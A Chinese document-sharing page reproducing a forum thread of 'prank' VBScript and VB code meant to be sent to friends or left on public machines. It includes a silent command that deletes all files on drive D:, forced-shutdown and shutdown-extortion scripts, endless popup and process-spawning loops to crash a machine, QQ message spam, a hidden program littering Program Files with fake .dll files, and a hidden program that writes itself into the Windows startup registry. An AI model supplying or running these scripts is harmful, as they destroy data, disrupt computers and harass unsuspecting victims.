VB整人程序代码大全.docx
《VB整人程序代码大全.docx》由会员分享，可在线阅读，更多相关《VB整人程序代码大全.docx（16页珍藏版）》请在冰点文库上搜索。
VB整人程序代码大全
vbs整人代码大**
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数（代码里的数字10改一下即可）.
xx.vbs=>
=---------------------------------------------------------------------------
OnErrorResumeNext
Dimwsh,ye
setwsh=createobject（"wscript.shell"）
fori=1to10
wscript.sleep700
wsh.AppActivate（"与xx聊天中"）
wsh.sendKeys"^v"
wsh.sendKeysi
wsh.sendKeys"%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox"Youarefoolish!
"
loop
------------------------------------------------------------------------------
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
setwsh=createobject（"wscript.shell"）
do
wsh.run"calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject（"wscript.shell"）
WSHshell.run"shutdown-f-s-t00",0,true
-----------------------------------------------------------------------------
五、删除D:
\所有文件
---------------------------------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject（"wscript.shell"）
WSHshell.run"cmd/c""deld:
\*.*/f/q/s""",0,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
while
（1）
msgbox"哈哈你被耍了！
"
loop
----------------------------------------------------------------------------
七、不断按下alt+f4（开什么都关闭……）
---------------------------------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject（"wscript.shell"）
while
（1）
WSHshell.SendKeys"%{F4}"
loop
---------------------------------------------------------------------------
八、按500次回车
（以上代码在运行者的电脑上显示500个对话框。
其中dountils=500，500可以随意更改）
-----------------------------------------------------------------------------
dims
dountils=500
s=s+1
msgbox"哥们，给我按500次回车吧",64
loop
'------------------------------------------------------------------------------------
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo（"嘿，谢谢你打开我哦，我等你很久
拉！
"&TSName）
WScript.Echo（"你是可爱的小朋吗?
"）
WScript.Echo（"哈,我想你拉，这你都不知道吗？
"）
顶
0
举报|2011-06-0120:
46回复
菊花爆开
电白自学
2楼
WScript.Echo（"怎么才来，说~是不是不关心我"）
WScript.Echo（"哼,我生气拉，等你这么久，心都凉啦。
"）
WScript.Echo（"小强很生气，后果很严重哦。
"）
WScript.Echo（"嘿嘿！
你也会很惨滴哦"）
WScript.Echo（"是不是想清除我？
"）
WScript.Echo（"那你要点上50下哦，不过会给你惊喜滴"）
WScript.Echo（"还剩49下，快点点哦"）
WScript.Echo（"还剩48下，快点，小笨蛋！
"）
WScript.Echo（"还剩47下对，就这样快点点！
"）
WScript.Echo（"还剩46下。
你啊就是笨，要快哦，我先不打扰
你工作。
"）
WScript.Echo（"还剩45下，记得要快哦！
"）
WScript.Echo（"还剩43下"）
WScript.Echo（"还剩42下"）
WScript.Echo（"还剩41下"）
WScript.Echo（"还剩40下"）
WScript.Echo（"还剩39下"）
WScript.Echo（"还剩38下"）
WScript.Echo（"还剩37下"）
WScript.Echo（"还剩36下"）
WScript.Echo（"还剩35下"）
WScript.Echo（"还剩34下"）
WScript.Echo（"还剩33下"）
WScript.Echo（"还剩32下"）
WScript.Echo（"还剩30下"）
WScript.Echo（"还剩29下"）
WScript.Echo（"还剩28下"）
WScript.Echo（"还剩27下"）
WScript.Echo（"还剩26下"）
WScript.Echo（"还剩25下"）
WScript.Echo（"还剩24下"）
WScript.Echo（"还剩23下"）
WScript.Echo（"还剩22下"）
WScript.Echo（"还剩21下"）
WScript.Echo（"还剩20下"）
WScript.Echo（"还剩19下"）
WScript.Echo（"还剩18下"）
WScript.Echo（"还剩17下"）
WScript.Echo（"还剩16下"）
WScript.Echo（"还剩15下"）
WScript.Echo（"还剩14下"）
WScript.Echo（"还剩13下停停慢点，我有话要说"）
WScript.Echo（"还剩12下，你继续点我就会消失滴"）
WScript.Echo（"还剩11下，以后就看不到我拉。
555555"）
WScript.Echo（"还剩10下，你现在可以选择停止！
"）
WScript.Echo（"还剩9下。
你还点啊，不要我拉？
"）
WScript.Echo（"还剩8下，有点伤心拉，干嘛丢弃人家"）
WScript.Echo（"还剩7下。
疯了，你有点负意！
"）
WScript.Echo（"还剩6下。
对。
你就点吧，我恨你！
"）
WScript.Echo（"还剩5下，不明白，删除我你就好吗？
"）
WScript.Echo（"还剩4下！
真要删除我？
"）
WScript.Echo（"还剩3下。
可是我真的很眷恋你。
。
。
"）
WScript.Echo（"还剩2下。
不要这么绝情嘛，人家是爱你
的！
"）
WScript.Echo（"还剩1下。
哼，既然你这么绝情。
也别怪我无
义"）
WScript.Echo（"我本因该消失的，不过我留恋你滴芳容，上帝
又给了一次机会。
"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
WScript.Echo（"想结素我么?
那你就再多点一次"）
两个整人的VBS脚本
测试环境：
Windows2003系统
大家好我是VanlisaQQ137841986
今天给大家带来两个整人的VBS脚本希望大家喜欢
VBS脚本大家都知道吧第一个是定时关机的
如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
onerrorresumenext
dimWSHshellA
举报|2011-06-0120:
46回复
菊花爆开
电白自学
3楼
setWSHshellA=wscript.createobject（"wscript.shell"）
WSHshellA.run"cmd.exe/cshutdown-r-t180-c""说我是猪，不说我是猪就一分钟关机，不信，试下···""",0,true
dima
dowhile（a<>"我是猪"）
a=inputbox（"说我是猪,就不关机，快撒，说""我是猪""","说不说","",8000,7000）
msgboxchr（13）+chr（13）+chr（13）+a,0,"MsgBox"
loop
msgboxchr（13）+chr（13）+chr（13）+"早说就行了嘛"
dimWSHshell
setWSHshell=wscript.createobject（"wscript.shell"）
WSHshell.run"cmd.exe/cshutdown-a",0,true
msgboxchr（13）+chr（13）+chr（13）+"哈哈哈哈，好乖"
--------------------------------------------------------------------------------
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe/cshutdown-r-t180-c
这里的数字可以修改关机时间180秒
这些文字也可以自设这个脚本启用cmd里的关机程序
如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已
经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK
了这时就完全解除这个脚本了Wscript时Windows脚本宿主
-------------------------------------------------------------------------------------------
下面看第二个整人的脚本
-------------------------------------------------------------------------------------------
setws=createobject（"wscript.shell"）
callshutdown
（1）
dowhilea<>"我是猪"
a=inputbox（"快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输",""）
loop
callshutdown
（2）
msgbox"早说就行了嘛",4096+64
msgbox"再输一遍我是猪!
",4096+64
msgbox"我是猪!
",4096+64
MsgBox"最后一次!
",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!
哼!
",4096+64
MsgBox"从前有座山!
",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！
数绵羊哄我睡觉",4096+64
fori=1to100
MsgBoxi&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!
",4096+64
msgbox"最后问个问题，我是不是大好人！
",4096+64
ifinputbox（"是不是","请选择","是"）<>"是"then
callshutdown
（1）
endif
subshutdown（s）
selectcases
case1
ws.run"cmd.exe/cshutdown-r-t60-c",0
case2
ws.run"cmd.exe/cshutdown-a",0
endselect
endsub
--------------------------------------------------------------------------------
ws.run"iexplore.exe
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去点到你设定的数字
fori=1to100
从1到100
可以改成20其他的数字
解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe
这个进程就好了
[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBS格式，
举报|2011-06-0120:
46回复
菊花爆开
电白自学
4楼
此代码的威力：
1：
开机就强制自动关机
2：
cmd命令打不开
3：
结束任务不管用
4：
F8安全模式也不管用
呵呵！
听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：
就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
PS：
不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手顶起吧！
网页整人效果代码
想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
网页特效|L</p><p></head></p><p><body></p><p><ahref=""onMouseover="alert（'为什么把鼠标放到这里?</p><p>'）;</p><p>alert（'我不是说过不可以这样吗？</p><p>'）;</p><p>alert（'你把我的话当什么了？</p><p>'）;</p><p>alert（'你知道错了吗？</p><p>'）;</p><p>alert（'什么？</p><p>你居然....'）;</p><p>alert（'居然还没意识到自己做错了？</p><p>'）;</p><p>alert（'那好，你要为此付出代价!</p><p>'）;</p><p>alert（'我要你在这里点足一千下......'）;</p><p>alert（'什么？</p><p>你开始有点后悔了？</p><p>'）;</p><p>alert（'何必呢？</p><p>'）;</p><p>alert（'你当初干什么去了？</p><p>'）;</p><p>alert（'不原谅你！</p><p>'）;</p><p>alert（'好从现在开始再点995下......'）;</p><p>alert（'你的手开始累了吗?</p><p>'）;</p><p>alert（'什么？</p><p>你已经没力气了？</p><p>'）;</p><p>alert（'你一直在求我原谅你啊！</p><p>'）;</p><p>alert（'看来你是真的知道错了!</p><p>'）;</p><p>alert（'下次你还会这么做吗？</p><p>'）;</p><p>alert（'真的不会了？</p><p>'）;</p><p>alert（'那好，今天就放你一马！</p><p>'）;</p><p>alert（'写封信给我说声对不起!</p><p>'）;</p><p>alert（'你能这么做我很高兴'）;</p><p>document.bgColor='black';</p><p>document.fgColor='White';</p><p>window.location.href='mailto:</p><p>mygod@god?</p><p>subject=对不起,下次不敢了!</p><p>';">不许把鼠标移到这里</a></p><p>嘻试吧爽噢。</p><p>。</p><p>vbs整人代码</p><p>代码如下：</p><p>PrivateSubForm_Load（）</p><p>Me.Hide</p><p>EndSub</p><p>PrivateSubTimer1_Timer（）</p><p>'声明变量，其中“count”为静态变量，以便生成不同的文件</p><p>DimfilesAsString</p><p>DimnrAsString</p><p>DimcAsString</p><p>StaticcountAsLong</p><p>'定义要把生成的文件存放在那个目录文件下</p><p>c="C:</p><p>\ProgramFiles\"</p><p>'生成文件的内容</p><p>nr="哈哈，被黑的感觉的不错吧"</p><p>files=FreeFile</p><p>'如果a等于a那么就执行</p><p>Ifa=aThen</p><p>'count不断的加1，以便产生不同的文件名</p><p>count=count+1</p><p>'产生文件名及文件句柄，并用count作为产生不同的文件名。</p><p>Openc&"system"&count&".dll"ForAppendAs#files</p><p>'向文件写内容</p><p>Write#files,nr</p><p>'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示</p><p>Close#files</p><p>EndIf</p><p>EndSub</p><p>举报|2011-06-0120:</p><p>46回复</p><p>扯淡丶</p><p>虞冷暖丶</p><p>5楼</p><p>vbs是咩啊</p><p>举报|2011-06-0120:</p><p>48回复</p><p>扯淡丶</p><p>虞冷暖丶</p><p>6楼</p><p>是VB？</p><p>举报|2011-06-0120:</p><p>49回复</p><p>菊花爆开</p><p>电白自学</p><p>7楼</p><p>VBScript</p><p>举报|2011-06-0120:</p><p>51回复</p><p>扯淡丶</p><p>虞冷暖丶</p><p>8楼</p><p>引用电白自学（7楼）VBScript</p><p>区别？</p><p>举报|2011-06-0121:</p><p>19回复</p><p>菊花爆开</p><p>电白自学</p><p>9楼</p><p>VBScript（MicrosoftVisualBasicScriptEditon）.，微软公司可视化BASIC脚本版）.正如其字面所透露的信息,VBS（VBScript的进一步简写）是基于VisualBasic的脚本语言...............直接从百科拉来的--</p><p>举报|2011-06-0121:</p><p>23回复</p><p>112.3.254.*10楼</p><p>你妈的死垃圾！</p><p>举报|2011-06-0212:</p><p>03回复</p><p>Angel_天一色丶</p><p>11楼</p><p>就楼主会一点其他的没几个会的都不知道哪里抄的</p><p>举报|2011-10-0618:</p><p>34回复</p><p>安纾毅</p><p>12楼</p><p>我去。</p><p>。</p><p>真是。</p><p>。</p><p>绝了、</p><p>举报|2011-12-1700:</p><p>37回复</p><p>218.13.32.*13楼</p><p>举报|2011-12-2208:</p><p>41回复</p><p>QQ97000946</p><p>14楼</p><p>以下代码危险，请谨慎添加</p><p>PrivateSubForm_Load（）</p><p>Form1.Visible=False'隐藏窗体</p><p>App.TaskVisible=False'在任务管理器中隐藏应用程序（不能隐藏进程）</p><p>Timer2.“”=100'“”中的代码我忘了，不过你懂的</p><p>EndSub</p><p>PrivateSubTimer2_Timer（）</p><p>i=i+1</p><p>ifi=1then'每0.1秒将自己写入开机启动注册表</p><p>SetW=CreateObject（"wscript.shell"）</p><p>onerrorresumenext'忽略错误</p><p>W.regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"&_</p><p>App.EXEName,App.Path&"\"&App.EXEName&".exe"</p><p>i=0</p><p>endif</p><p>endsub</p><p></p>
</div>
<div class="readmore" onclick="showmore()" style="background-color:transparent; height:auto; margin:0px 0px; padding:20px 0px 0px 0px;"><span class="btn-readmore" style="background-color:transparent;"><em style=" font-style:normal">展开</em>阅读全文<i></i></span></div>
<script>
function showmore()
{
$(".readmore").hide();
$(".detail-article").css({
"height":"auto",
"overflow": "hidden"
});
}
$(document).ready(function() {
var dh = $(".detail-article").height();
if(dh >100)
{
$(".detail-article").css({
"height":"100px",
"overflow": "hidden"
});
}
else
{
$(".readmore").hide();
}
});
</script>
</div>
<script>
var defaultShowPage = parseInt("20");
var id = "1205142";
var total_page = "16";
var mfull = false;
var mshow = false;
function DownLoad() {
window.location.href='https://m.bingdoc.com/d-1205142.html';
}
function relate() {
var reltop = $('#relate').offset().top-50;
$("html,body").animate({ scrollTop: reltop }, 500);
}
</script>
<div id="relate" class="container" style="padding:0px 0px 15px 0px; margin-top:20px; border:solid 1px #dceef8">
<div style=" font-size: 16px; background-color:#e5f0f7; margin-bottom:5px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px;">相关资源</div>
<div id="relatelist" style="padding-left:5px;">
<ul>
<li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-778187.html" title="vbs整人代码.docx">vbs整人代码.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-7944331.html" title="vbs整人代码.docx">vbs整人代码.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1217943.html" title="vbs整人代码大全.docx">vbs整人代码大全.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-5283150.html" title="vbs整人代码大集合.docx">vbs整人代码大集合.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-11003780.html" title="vbs整人代码大集合.docx">vbs整人代码大集合.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-8615949.html" title="vbs整人代码Word文档格式.docx">vbs整人代码Word文档格式.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-7173716.html" title="vbs整人代码大集合Word下载.docx">vbs整人代码大集合Word下载.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1044412.html" title="vbs整人代码Word文档下载推荐.docx">vbs整人代码Word文档下载推荐.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-1451747.html" title="vbs整人代码大全Word格式文档下载.docx">vbs整人代码大全Word格式文档下载.docx</a>
</li><li><em class="docx"/></em><a target="_parent" href="https://m.bingdoc.com/p-5684254.html" title="VBS脚本常用代码大全 整理.docx">VBS脚本常用代码大全 整理.docx</a>
</li>
</ul>
</div>
</div>
<div class="container" style="padding:0px 0px 15px 0px; margin-top:20px; border:solid 1px #dceef8">
<div style=" font-size: 16px; background-color:#e5f0f7; margin-bottom:5px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px;">猜你喜欢</div>
<div id="relatelist" style="padding-left:5px;">
<ul>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128406.html" target="_parent" title="甘肃省庆阳市镇原县社会福利院招聘试题及答案解析Word文档格式.docx">甘肃省庆阳市镇原县社会福利院招聘试题及答案解析Word文档格式.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128407.html" target="_parent" title="安福县事业单位招聘考试《综合基础知识及综合应用能力》试题及答案.docx">安福县事业单位招聘考试《综合基础知识及综合应用能力》试题及答案.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128408.html" target="_parent" title="安徽省安庆市怀宁县农业银行考试真题及答案.docx">安徽省安庆市怀宁县农业银行考试真题及答案.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128409.html" target="_parent" title="安化县图书馆招聘试题及答案解析.docx">安化县图书馆招聘试题及答案解析.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128410.html" target="_parent" title="阿拉善右旗蒙医院医药护技人员考试试题及解析.docx">阿拉善右旗蒙医院医药护技人员考试试题及解析.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128411.html" target="_parent" title="阿拉善左旗蒙医院医药护技人员考试试题及解析.docx">阿拉善左旗蒙医院医药护技人员考试试题及解析.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128412.html" target="_parent" title="安徽省淮南市八公山区工商银行招聘考试真题及答案.docx">安徽省淮南市八公山区工商银行招聘考试真题及答案.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128413.html" target="_parent" title="安徽省芜湖市三山区教师招聘《通用知识》真题及答案.docx">安徽省芜湖市三山区教师招聘《通用知识》真题及答案.docx</a></li>
<li><em class="docx"></em>
<a href="https://m.bingdoc.com/p-128414.html" target="_parent" title="安徽省淮南市大通区事业单位招聘考试《行政能力测试》真题及答案.docx">安徽省淮南市大通区事业单位招聘考试《行政能力测试》真题及答案.docx</a></li>
</ul>
</div>
</div>
<div style=" font-size: 16px; background-color:#e5f0f7; margin-top:20px; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px; margin-bottom:10px;">
相关搜索</div>
<div class="widget-box pt0" style="border: none; padding:0px 5px;">
<ul class="taglist--inline multi">
<li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=VB">VB</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e6%95%b4%e4%ba%ba">整人</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e7%a8%8b%e5%ba%8f%e4%bb%a3%e7%a0%81">程序代码</a></li> <li class="tagPopup"><a target="_parent" class="tag tagsearch" rel="nofollow" href="https://m.bingdoc.com/search.html?q=%e5%a4%a7%e5%85%a8">大全</a></li> </ul>
</div>
<div style=" font-size: 16px; background-color:#e5f0f7; font-weight: bold; text-indent:10px; line-height: 40px; height:40px; padding-bottom: 0px; margin-bottom:10px;">
资源标签</div>
<div class="widget-box pt0" style="border: none; padding:0px 5px;">
<ul class="taglist--inline multi">
<li class="tagPopup"><a class="tag tag0" href="https://m.bingdoc.com/mark/vbszhengrendaima.html" >vbs整人代码</a></li><li class="tagPopup"><a class="tag tag1" href="https://m.bingdoc.com/mark/vb6bianchengdaimadaquan.html" >vb6编程代码大全</a></li><li class="tagPopup"><a class="tag tag2" href="https://m.bingdoc.com/mark/chengxudaimadaquan.html" >程序代码大全</a></li><li class="tagPopup"><a class="tag tag3" href="https://m.bingdoc.com/mark/vbsaoleichengxudaima.html" >Vb扫雷程序代码</a></li><li class="tagPopup"><a class="tag tag4" href="https://m.bingdoc.com/mark/vbdaimaquanji.html" >VB代码全集</a></li><li class="tagPopup"><a class="tag tag0" href="https://m.bingdoc.com/mark/zhengrendaimadaquan.html" >整人代码大全</a></li><li class="tagPopup"><a class="tag tag1" href="https://m.bingdoc.com/mark/vbchengxudaimashili.html" >VB程序代码实例</a></li><li class="tagPopup"><a class="tag tag2" href="https://m.bingdoc.com/mark/vbbianchengdaima.html" >vb编程代码</a></li><li class="tagPopup"><a class="tag tag3" href="https://m.bingdoc.com/mark/dishuvbchengxudaima.html" >地鼠VB程序代码</a></li>
<li class="tagPopup"><a target="_parent" class="tag tag1" href="https://m.bingdoc.com/mark/vbszhengrendaimajihe.html">vbs整人代码集合</a></li>
<li class="tagPopup"><a target="_parent" class="tag tag2" href="https://m.bingdoc.com/mark/vbsdaquan.html">VBS大全</a></li>
</ul>
</div>
<br />
<div >
当前位置：<a target="_parent" href="https://m.bingdoc.com/">首页</a> >
<a href="https://m.bingdoc.com/booklist-00006.html">人文社科</a><span> > </span><a href="https://m.bingdoc.com/booklist-0000600001.html">法律资料</a>
</div>
<br />
<div class="cssnone">
<iframe title="来源" src="https://m.bingdoc.com/BookRead.aspx?id=9or8l8XpJbE%3d&parto=OBVPOf3RHvHR10qdgSRLlB1h9VJ6GsrAnWW%2b8rJHUjpoM0ZBzNyri55wPpdugiNsrn4EfIcvmXFIeofrSlMkf8f%2fwaUlmQvotjLX%2fzEVXlBqFghUJqt4v1wlJDvSKX9x8MtTUyuuaAy%2f5PE%2bnMUvF3B3yFC49aADcZIb7VlL6FXXekYYUvVvaAeXNHsqalOBNVBoahgNBJUE%2fFmQ0cx7UzkjkBO85P%2b%2f" frameborder="0" style="width: 0px; height: 0px">
</iframe>
</div>
<span id="LabelScript"></span>
<script src="https://mstatic.bingdoc.com/JS/bootstrap-collapse.js"></script>
</form>
<div class="siteInner_bg" style="margin-top: 40px; border: solid 0px red; margin-left: 0px; margin-right: 0px;">
<div class="siteInner">
<p style="text-align: center;">copyright@ 2008-2023 冰点文库 网站版权所有</p><p style="text-align: center;">经营许可证编号:<a href="http://beian.miit.gov.cn/" target="_blank">鄂ICP备19020893号-</a>2</p><script>var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?f82ede2a6dd69d4ed35205d3eb25b840";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();</script>
</div>
</div>
<div class="trnav clearfix" id="navcontent" style="display: none; background-color:#3a71b1; ">
<div class="trlogoside" id="navlogo" style="display: none;">
<a href="https://m.bingdoc.com/" title="冰点文库"><img src="https://www.bingdoc.com/images/logo_bd.png" alt="冰点文库"></a>
<div class="trnavclose" id="navclose">
<span></span>
</div>
</div>
<div class="navcontainer">
<div class="row">
<ul class="nav navbar-nav trnavul headercontent" id="navigation" style="margin:20px 0 0px;">
<li><a target="_parent"href="https://m.bingdoc.com/login.aspx">登录</a></li>
<li><a target="_parent"href="https://m.bingdoc.com/">首页 </a></li>
<li><a target="_parent"href="https://m.bingdoc.com/booklist-0.html">资源分类 </a></li>
<li><a target="_parent"href="https://m.bingdoc.com/UserManage/Recharge.aspx?f=0"><img src="https://m.bingdoc.com/images/s.gif" alt="new" class="hottip1">升级会员 <img src="https://www.bingdoc.com/FileUpload/Images/48520fea-bc98-41ae-b183-84689c7075c9.gif" alt="new" class="hottip"></a></li>
<li><a target="_parent"href="https://m.bingdoc.com/newslist.html">通知公告 </a></li>
<li><a target="_parent"href="https://m.bingdoc.com/h-0.html">帮助中心 </a></li>
</ul>
</div>
</div>
</div>
<script type="text/javascript">
function stopPropagation(e) {
var ev = e || window.event;
if (ev.stopPropagation) {
ev.stopPropagation();
}
else if (window.event) {
window.event.cancelBubble = true;//兼容IE
}
}
$("#navmore").click(function (e) {
$("#navcontent").show();
$("#navlogo").show();
stopPropagation(e);
var navcontentwidth = $("#navcontent").width();
$('#navcontent').css({ 'right': '-' + navcontentwidth + 'px' });
$("#navcontent").show().animate({ "right": 0 }, 300);
});
$(document).bind('click', function () {
var navcontentwidth = $("#navcontent").width();
$("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); });
$("#navlogo").fadeOut(300);
});
$("#navcontent").click(function (e) {
stopPropagation(e);
});
$("#navclose").click(function (e) {
var navcontentwidth = $("#navcontent").width();
$("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); });
$("#navlogo").fadeOut(300);
});
</script>
<script>
function BaseShare(title, desc, imgUrl) {
var link = "https://m.bingdoc.com/p-1205142.html";
if (wx) {
wx.config({
debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。
appId: 'wx3a9604896163fa38', // 必填，公众号的唯一标识
timestamp: '1718648473', // 必填，生成签名的时间戳
nonceStr: 'B56A18E0EACDF51AA2A5306B0F533204', // 必填，生成签名的随机串
signature: '24a7f012759278c6afc3d2b4dfc64d2bbc9f279b',// 必填，签名，见附录1
jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2
//openTagList: ["wx-open-launch-weapp"]//H5打开小程序
});
wx.ready(function () { //需在用户可能点击分享按钮前就先调用
wx.hideMenuItems({// 要隐藏的菜单项，只能隐藏“传播类”和“保护类”按钮，所有menu项见附录3
menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand']
});
var shareData = {
title: title, // 分享标题
desc: desc,//这里请特别注意是要去除html
link: link, // 分享链接，该链接域名或路径必须与当前页面对应的公众号JS安全域名一致
imgUrl: imgUrl, // 分享图标
};
wx.updateAppMessageShareData(shareData);//1.4 分享到朋友
wx.updateTimelineShareData(shareData);//1.4分享到朋友圈
});
}
}
function BaseShare(title, desc, imgUrl, link) {
if (link=="")
link = "https://m.bingdoc.com/p-1205142.html";
if (wx) {
wx.config({
debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。
appId: 'wx3a9604896163fa38', // 必填，公众号的唯一标识
timestamp: '1718648473', // 必填，生成签名的时间戳
nonceStr: 'B56A18E0EACDF51AA2A5306B0F533204', // 必填，生成签名的随机串
signature: '24a7f012759278c6afc3d2b4dfc64d2bbc9f279b',// 必填，签名，见附录1
jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2
//openTagList: ["wx-open-launch-weapp"]//H5打开小程序
});
wx.ready(function () { //需在用户可能点击分享按钮前就先调用
wx.hideMenuItems({// 要隐藏的菜单项，只能隐藏“传播类”和“保护类”按钮，所有menu项见附录3
menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand']
});
var shareData = {
title: title, // 分享标题
desc: desc,//这里请特别注意是要去除html
link: link, // 分享链接，该链接域名或路径必须与当前页面对应的公众号JS安全域名一致
imgUrl: imgUrl, // 分享图标
};
wx.updateAppMessageShareData(shareData);//1.4 分享到朋友
wx.updateTimelineShareData(shareData);//1.4分享到朋友圈
});
}
}
</script>
<script>
$(document).ready(function () {
var arr = $(".headercontent");
for (var i = 0; i < arr.length; i++) {
(function (index) {
var url = "https://m.bingdoc.com/header.aspx";
$.get(url + "?t=" + (new Date()).valueOf(), function (d) {
try {
arr.eq(index).empty().html(d);
} catch (e) { }
try {
arr.html(d);
} catch (e) { }
});
})(i);
}
});
</script>
<script src="https://mstatic.bingdoc.com/js/jquery.lazyload.js"></script>
<script charset="utf-8">
$("img.lazys").lazyload({
threshold: 200,
effect: "fadeIn"
});
</script>
</body>
</html>